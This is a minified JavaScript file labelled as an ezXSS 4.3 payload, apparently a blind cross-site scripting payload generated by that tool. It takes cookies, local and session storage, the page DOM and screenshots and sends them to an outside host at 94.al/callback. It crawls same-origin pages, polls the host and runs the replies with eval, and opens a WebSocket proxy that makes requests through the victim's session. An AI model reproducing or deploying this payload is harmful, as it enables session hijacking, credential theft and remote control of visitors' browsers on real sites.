// github.com/ssl/ezXSS
// ezXSS 4.3

function ez_n(e){return void 0 !==e?e:''}
function ez_cb(e,t,o){o=void 0!==o?o:0;var s,n="http://94.al/callback";window.XMLHttpRequest?((s=new XMLHttpRequest).open("POST",n,!0),s.setRequestHeader("Content-type","text/plain")):((s=new ActiveXObject("Microsoft.XMLHTTP")).open("POST",n,!0),s.setRequestHeader("Content-type","application/x-www-form-urlencoded")),s.onreadystatechange=function(){if(4===s.readyState)if(200===s.status)null!==t&&t(s.responseText);else{var n=e;0===o&&(n.cookies="",n.localstorage="",n.sessionstorage="",n.dom="Error callback: "+s.status,n.screenshot="",ez_cb(n,t,1))}};try{s.send(ez_se(e))}catch(n){}}
function ez_hL(){try{ez_rD.uri=ez_n(location.toString())}catch(t){ez_rD.uri=""}try{ez_rD.cookies=ez_n(document.cookie)}catch(e){ez_rD.cookies=""}try{ez_rD.referer=ez_n(document.referrer);var u="";try{if(window.self!==window.top)u="iFrame loaded via "+window.parent.location;}catch(e){u="iFrame loaded via cross-origin";}ez_rD.referer+=(ez_rD.referer&&u?" - ":"")+u;}catch(o){ez_rD.referer=""}try{ez_rD["user-agent"]=ez_n(navigator.userAgent)}catch(r){ez_rD["user-agent"]=""}try{ez_rD.origin=ez_n(location.origin)}catch(c){ez_rD.origin=""}try{ez_rD.localstorage=ez_n(window.localStorage)}catch(a){ez_rD.localstorage=""}try{ez_rD.sessionstorage=ez_n(window.sessionStorage)}catch(n){ez_rD.sessionstorage=""}try{ez_rD.dom=ez_n(document.documentElement.outerHTML||document.documentElement.innerHTML)}catch(s){ez_rD.dom=""}try{ez_rD.payload="//94.al/"}catch(i){ez_rD.payload=""}try{"undefined"!=typeof html2canvas?html2canvas(document.body,{"max-width":1920,"max-height":1080}).then(function(t){ez_rD.screenshot=ez_n(t.toDataURL()),y()}).then(void 0,function(t){ez_rD.screenshot="",y()}):(ez_rD.screenshot="",y())}catch(h){ez_rD.screenshot="",y()}function y(){ez_s(),ez_nW(),ez_cb(ez_rD,ez_dr2),ez_cp(),ez_p()}}
function ez_p(){"function"==typeof ez_persist&&ez_persist()}function ez_s(){var t,n,o=[];for(t=0,n=o.length;t<n;++t)ez_rD[o[t]]="Not collected"}function ez_cp(){var t,n,o=[];for(t=0,n=o.length;t<n;++t)ez_dc(o[t])}
function ez_as(){var sm="0";if("0"!==sm){var t=document.getElementsByTagName("a"),e={};if("1"===sm){for(var n=[],o=0;o<t.length;o++)try{var a=(c=t[o]).getAttribute("href");(h=s(c,a)).ez_iiv&&!e[h.path]&&(e[h.path]=!0,n.push(h.path))}catch(t){}!function t(e){e>=n.length||(ez_dc(n[e]),setTimeout((function(){t(e+1)}),100))}(0)}else if("2"===sm){var i=document.createElement("iframe");i.style.display="none";try{document.body.appendChild(i)}catch(t){return}n=[];var r=!1;for(o=0;o<t.length;o++)try{var c,h;a=(c=t[o]).getAttribute("href");(h=s(c,a)).ez_iiv&&!e[h.path]&&(e[h.path]=!0,n.push(h.path))}catch(t){}!function t(){if(!r&&0!==n.length){r=!0;var o=n.shift();try{i.src=o,i.onload=function(){try{var a=i.contentDocument||i.contentWindow.document,c=i.contentWindow||window,h={dom:ez_n(a.documentElement.outerHTML),uri:ez_n("//"+location.hostname+o),origin:ez_n(location.hostname),referer:"Collected page via "+ez_n(location.toString()),cookies:ez_n(a.cookie||document.cookie),"user-agent":ez_n(navigator.userAgent),sessionstorage:ez_n(c.sessionStorage||window.sessionStorage),localstorage:ez_n(c.localStorage||window.localStorage),payload:"//94.al/"};ez_cb(h,null);for(var l=a.getElementsByTagName("a"),u=0;u<l.length;u++)try{var d=l[u].getAttribute("href"),f=s(l[u],d);f.ez_iiv&&!e[f.path]&&(e[f.path]=!0,n.push(f.path))}catch(t){}}catch(t){}r=!1,t()},i.onerror=function(){r=!1,t()}}catch(e){r=!1,t()}}}()}}function s(t,e){if(!e||0===e.indexOf("#")||0===e.indexOf("javascript:")||0===e.indexOf("mailto:"))return{ez_iiv:!1};var n=e,o=!1;return"http:"!==t.protocol&&"https:"!==t.protocol||t.hostname!==location.hostname?"/"===e.charAt(0)&&0!==e.indexOf("//")?(o=!0,n=e):-1===e.indexOf("://")&&0!==e.indexOf("//")&&(o=!0,n="/"+e):(o=!0,n=t.pathname||e),{ez_iiv:o,path:n}}}
function ez_dc(e){try{var o="//"+location.hostname+e;var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");var cbdata;a.onreadystatechange=function(){4==a.readyState&&(cbdata={dom:ez_n(a.responseText),uri:ez_n(o),origin:ez_n(location.hostname),referer:"Collected page via "+ez_n(location.toString()),cookies:ez_n(document.cookie),"user-agent":ez_n(navigator.userAgent),sessionstorage:ez_n(window.sessionStorage),localstorage:ez_n(window.localStorage),payload:"//94.al/"},ez_cb(cbdata,null))},a.open("GET",o,!0),a.send(null)}catch(t){}}
function ez_se(e){try{if("undefined"!=typeof JSON&&"function"==typeof JSON.stringify)try{return JSON.stringify(e)}catch(e){alert("JSON.stringify error: "+e)}var n=[];for(var t in e)if(e.hasOwnProperty(t)){var r=e[t];if(null==r)r="";else if("object"==typeof r)try{r=ez_n(r.toString())}catch(e){r=""}else r=ez_n(r);n.push(encodeURIComponent(t)+"="+encodeURIComponent(r))}return n.join("&")}catch(e){return""}}
function ez_e() { }
function ez_l() { }
function ez_y() { }
function ez_esa() { }

"undefined"==typeof window.console&&(window.console={log:function(){},error:function(){},warn:function(){},info:function(){},debug:function(){},trace:function(){}});var ez_we,ez_las="",ez_ind=null,ez_exi=!1,ez_q_pr={},ez_q_rq=[],ez_q_p=!1;
function ez_pin(){try{if(ez_exi)return;ez_rD.type="ping",ez_rD.console=console.ez,ez_cb(ez_rD,ez_eva)}catch(e){}}function ez_stp(){null===ez_ind&&(ez_ind=window.setInterval(ez_pin,1e4))}function ez_eva(input){return eval(input)}function eze_ini(){ra_hL(),ez_s(),ez_cb(ez_rD,ez_stp);try{var e=localStorage.getItem("ezProxy");e&&ez_soc(e,"1")}catch(t){}}function ez_persist(){eze_ini(),ez_pin()}function ez_stop(){ez_exi=!0}
function ez_queue(){if(!ez_q_p&&0!==ez_q_rq.length){ez_q_p=!0;var e=ez_q_rq.shift();if(window.Promise)ez_fet(e.uri,e.method,e.postData).then((function(t){var n={clientid:ra_client(),statusCode:t.statusCode,body:t.body,request_uri:e.uri,content_type:t.contentType,headers:t.headers,pass:e.pass,origin:location.host,compressed:t.compressed||!1};e.requestId&&(n.request_id=e.requestId),ez_we&&ez_we.readyState===WebSocket.OPEN&&ez_we.send(JSON.stringify(n)),ez_q_p=!1,setTimeout(ez_queue,25)}))["catch"]((function(t){var n={clientid:ra_client(),statusCode:500,body:window.btoa?btoa("Error: "+t.message):"Error: "+t.message,request_uri:e.uri,content_type:"text/plain",headers:{},pass:e.pass,origin:location.host,compressed:!1};e.requestId&&(n.request_id=e.requestId),ez_we&&ez_we.readyState===WebSocket.OPEN&&ez_we.send(JSON.stringify(n)),ez_q_p=!1,setTimeout(ez_queue,25)}));else{var t=ez_fet(e.uri,e.method,e.postData);if(t){var n={clientid:ra_client(),statusCode:t.statusCode,body:t.body,request_uri:e.uri,content_type:t.contentType,headers:t.headers,pass:e.pass,origin:location.host,compressed:t.compressed||!1};e.requestId&&(n.request_id=e.requestId),ez_we&&ez_we.readyState===WebSocket.OPEN&&ez_we.send(JSON.stringify(n))}ez_q_p=!1,setTimeout(ez_queue,25)}}}if(!console.ez){var logTypes=["log","error","warn"];
function ra_fl(e,t){for(var n=[],o=0;o<t.length;o++){var r=t[o];if("object"==typeof r&&null!==r)try{n.push(JSON.stringify(r))}catch(a){n.push("[Object]")}else n.push(String(r))}return"["+(new Date).toLocaleTimeString()+" "+e+"] "+n.join(" ")+"\n"}function ra_wc(e,t){var n=console[e];console[e]=function(){try{console.ez=ra_fl(t,arguments)+console.ez,n.apply(console,arguments)}catch(e){}}}console.ez="";for(var i=0;i<logTypes.length;i++)ra_wc(logTypes[i],logTypes[i].toUpperCase())}
function ra_client(){var e,t,n,o="ezXSS",r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";try{e="localStorage"in window&&null!==window.localStorage}catch(p){e=!1}if(e)(t=localStorage.getItem(o))||(t=ra_gri(),localStorage.setItem(o,t));else{for(var a=document.cookie.split(";"),s=[],c=[],u=0;u<a.length;u++){for(var d=a[u];" "==d.charAt(0);)d=d.substring(1);s.push(d)}for(u=0;u<s.length;u++)0===s[u].indexOf(o)&&c.push(s[u]);if(!(t=c.length>0?c[0].substring(6):null)){t=ra_gri(),(n=new Date).setFullYear(n.getFullYear()+1);var l=n.toUTCString();l.indexOf("GMT")>=0&&(l=l.replace("GMT","")),document.cookie=o+"="+t+";expires="+l+";path=/"}}function ra_gri(){for(var e="",t=0;t<16;t++)e+=r.charAt(Math.floor(62*Math.random()));return e}return t}
function ra_hL(){if(!ez_exi){ez_rD.type="init",ez_rD.console=console.ez;try{ez_rD.clientid=ra_client()}catch(e){ez_rD.clientid=""}try{ez_rD.method="persist"}catch(e){ez_rD.method=""}try{ez_rD.uri=ez_n(location.toString())}catch(e){ez_rD.uri=""}try{ez_rD.cookies=ez_n(document.cookie)}catch(e){ez_rD.cookies=""}try{ez_rD.referer=""!=ez_las?ez_n(ez_las):ez_n(document.referrer)}catch(e){ez_rD.referer=""}try{ez_rD["user-agent"]=ez_n(navigator.userAgent)}catch(e){ez_rD["user-agent"]=""}try{ez_rD.origin=ez_n(location.origin)}catch(e){ez_rD.origin=""}try{ez_rD.localstorage=ez_n(window.localStorage)}catch(e){ez_rD.localstorage=""}try{ez_rD.sessionstorage=ez_n(window.sessionStorage)}catch(e){ez_rD.sessionstorage=""}try{ez_rD.dom=ez_n(document.documentElement.outerHTML),ra_seh()}catch(e){ez_rD.dom="",ra_seh()}}function ra_seh(){ra_r()}}
function ez_dol(e,t,n){if(ez_las=ez_n(location.toString()),""===n){var o=e.match(/<title[^>]*>([^<]+)<\/title>/);n=o?o[1]:""}document.title=n,window.history&&window.history.pushState&&window.history.pushState({html:e,pageTitle:n},"",t),document.getElementsByTagName("html")[0].innerHTML=e,window.scrollTo(0,0);var r=document.createElement("div");r.innerHTML=e;for(var a=r.getElementsByTagName("script"),s=0;s<a.length;s++){for(var c=document.createElement("script"),u=a[s].attributes,d=0;d<u.length;d++){var l=u[d];c.setAttribute(l.name,l.value)}a[s].src?c.src=a[s].src:c.textContent=a[s].textContent,document.body.appendChild(c),c.parentNode.removeChild(c)}}
function ra_li(e){var t=document.createElement("a");if(t.href=e,t.hostname===window.location.hostname){if("#"===e.slice(-1)&&""===t.hash)return;if(""!==t.hash&&t.href.replace(t.hash,"")===window.location.href.split("#")[0]){var n=t.hash.replace("#",""),o=document.getElementById(n);if(o){var r=o.offsetTop;window.history&&window.history.pushState&&window.history.pushState("",document.title,t.href),window.scrollTo(0,r)}return}var a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");a.onreadystatechange=function(){4==a.readyState&&(ez_dol(a.responseText,t.href,""),eze_ini())},a.onerror=function(){window.open(t.href,"_blank").focus()},a.open("GET",t.href),a.send()}else window.open(t.href,"_blank").focus()}function ez_hac(e){for(var t=null,n=(e=e||window.event).target||e.srcElement;n;){if(n.tagName&&"a"===n.tagName.toLowerCase()){t=n;break}n=n.parentNode}t&&0!==t.href.indexOf("javascript:")&&(e.preventDefault?e.preventDefault():e.returnValue=!1,ra_li(t.getAttribute("href")))}
function ra_fo(e){(e=e||window.event).preventDefault?e.preventDefault():e.returnValue=!1;var t=document.createElement("a");if(t.href=this.action,t.hostname===window.location.hostname){var n,o=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");if(o.open("POST",this.action,!0),o.onreadystatechange=function(){4==o.readyState&&(ez_dol(o.responseText,t.href,""),eze_ini())},window.FormData)if(n=new FormData(this),this.dataset&&this.dataset.clickedButtonName&&this.dataset.clickedButtonValue)n.append(this.dataset.clickedButtonName,this.dataset.clickedButtonValue);else{var r=this.querySelector?this.querySelector('button[type="submit"], input[type="submit"]'):null;r&&n.append(r.name,r.value)}else{for(var a=this.elements,s=[],c=0;c<a.length;c++){var u=a[c];u.name&&u.value&&s.push(encodeURIComponent(u.name)+"="+encodeURIComponent(u.value))}n=s.join("&"),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}o.send(n)}else{var d=window.open(this.action,"_blank");d&&d.focus&&(this.target="_blank",e.preventDefault&&e.preventDefault(),this.submit())}}function ez_hab(e){for(var t=e.target||e.srcElement;"button"!==t.tagName.toLowerCase()&&"input"!==t.tagName.toLowerCase();)t=t.parentNode;var n=t.form;n.dataset&&(n.dataset.clickedButtonName=t.name,n.dataset.clickedButtonValue=t.value)}function ez_hap(e){e.state&&e.state.html&&e.state.pageTitle&&(ez_dol(e.state.html,e.state.url,e.state.pageTitle),eze_ini())}
function ez_fet(e,t,n){if(window.Promise)return new Promise((function(o,r){var a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");a.open(t,e,!0),a.withCredentials&&(a.withCredentials=!0),"POST"===t&&n&&a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.onreadystatechange=function(){if(4===a.readyState){var e="";if(a.responseText)try{e=window.btoa?btoa(unescape(encodeURIComponent(a.responseText))):a.responseText}catch(u){e=a.responseText}var t={};try{var n=a.getAllResponseHeaders();if(n)for(var r=n.trim().split("\r\n"),s=0;s<r.length;s++){var c=r[s].split(": ");2===c.length&&(t[c[0].toLowerCase()]=c[1])}}catch(d){}o({statusCode:a.status,body:e,contentType:a.getResponseHeader("Content-Type"),headers:t,compressed:!1})}},a.onerror=function(){r(new Error("Failed to load content"))},a.send(n)}));var o=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");if(o.open(t,e,!1),"POST"===t&&n&&o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.send(n),4===o.readyState){var r=o.responseText;if(window.btoa&&r)try{r=btoa(unescape(encodeURIComponent(r)))}catch(l){}var a={};try{var s=o.getAllResponseHeaders();if(s)for(var c=s.trim().split("\r\n"),u=0;u<c.length;u++){var d=c[u].split(": ");2===d.length&&(a[d[0].toLowerCase()]=d[1])}}catch(l){}return{statusCode:o.status,body:r,contentType:o.getResponseHeader("Content-Type"),headers:a,compressed:!1}}}
function ez_soc(e,t){if(window.WebSocket){if(ez_we&&ez_we.readyState===WebSocket.OPEN)return;(ez_we=new WebSocket("wss://"+e)).onopen=function(){ez_we.send(JSON.stringify({clientid:ra_client(),pass:t,origin:location.host}))},ez_we.onmessage=function(e){try{var n=JSON.parse(e.data);if("GET"==n.method||"POST"==n.method){var o=n.request_id;ez_q_rq.push({uri:n.request_uri,method:n.method,postData:n.postData,requestId:o,pass:t}),ez_q_p||setTimeout(ez_queue,10)}}catch(r){}},ez_we.onerror=function(e){},ez_we.onclose=function(){setTimeout((function(){ez_soc(e,t)}),5e3)}}}
function ra_r(){if(!ez_exi){for(var e=document.getElementsByTagName("a"),t=0;t<e.length;t++){var n=e[t];n.addEventListener?n.addEventListener("click",ez_hac,!1):n.attachEvent&&n.attachEvent("onclick",ez_hac)}var o=document.getElementsByTagName("form");for(t=0;t<o.length;t++){var r=o[t],a=r.querySelectorAll?r.querySelectorAll('button[type="submit"], input[type="submit"]'):[];r.addEventListener?r.addEventListener("submit",ra_fo,!1):r.attachEvent&&r.attachEvent("onsubmit",ra_fo);for(var s=0;s<a.length;s++){var c=a[s];c.addEventListener?c.addEventListener("click",ez_hab,!1):c.attachEvent&&c.attachEvent("onclick",ez_hab)}}window.addEventListener?window.addEventListener("popstate",ez_hap,!1):window.attachEvent&&window.attachEvent("onpopstate",ez_hap)}}


function ez_aE(t,e,n){t.addEventListener?t.addEventListener(e,n,!1):t.attachEvent&&t.attachEvent("on"+e,n)}var ez_rD={};function ez_nW(){try{ez_e(),ez_l()}catch(t){}}function ez_dr2(z){try{ez_y(),ez_esa(),ez_as()}catch(t){}}function ez_a(k,v){if(!ez_rD.extra){ez_rD.extra={}}if(typeof k==='object'&&k!==null){for(var key in k){if(k.hasOwnProperty(key)){ez_rD.extra[key]=k[key];}}}else{ez_rD.extra[k]=v;}}

if("complete"===document.readyState)ez_hL();else{var t=setTimeout(function(){ez_hL()},2e3);ez_aE(window,"load",function(){clearTimeout(t),ez_hL()})}
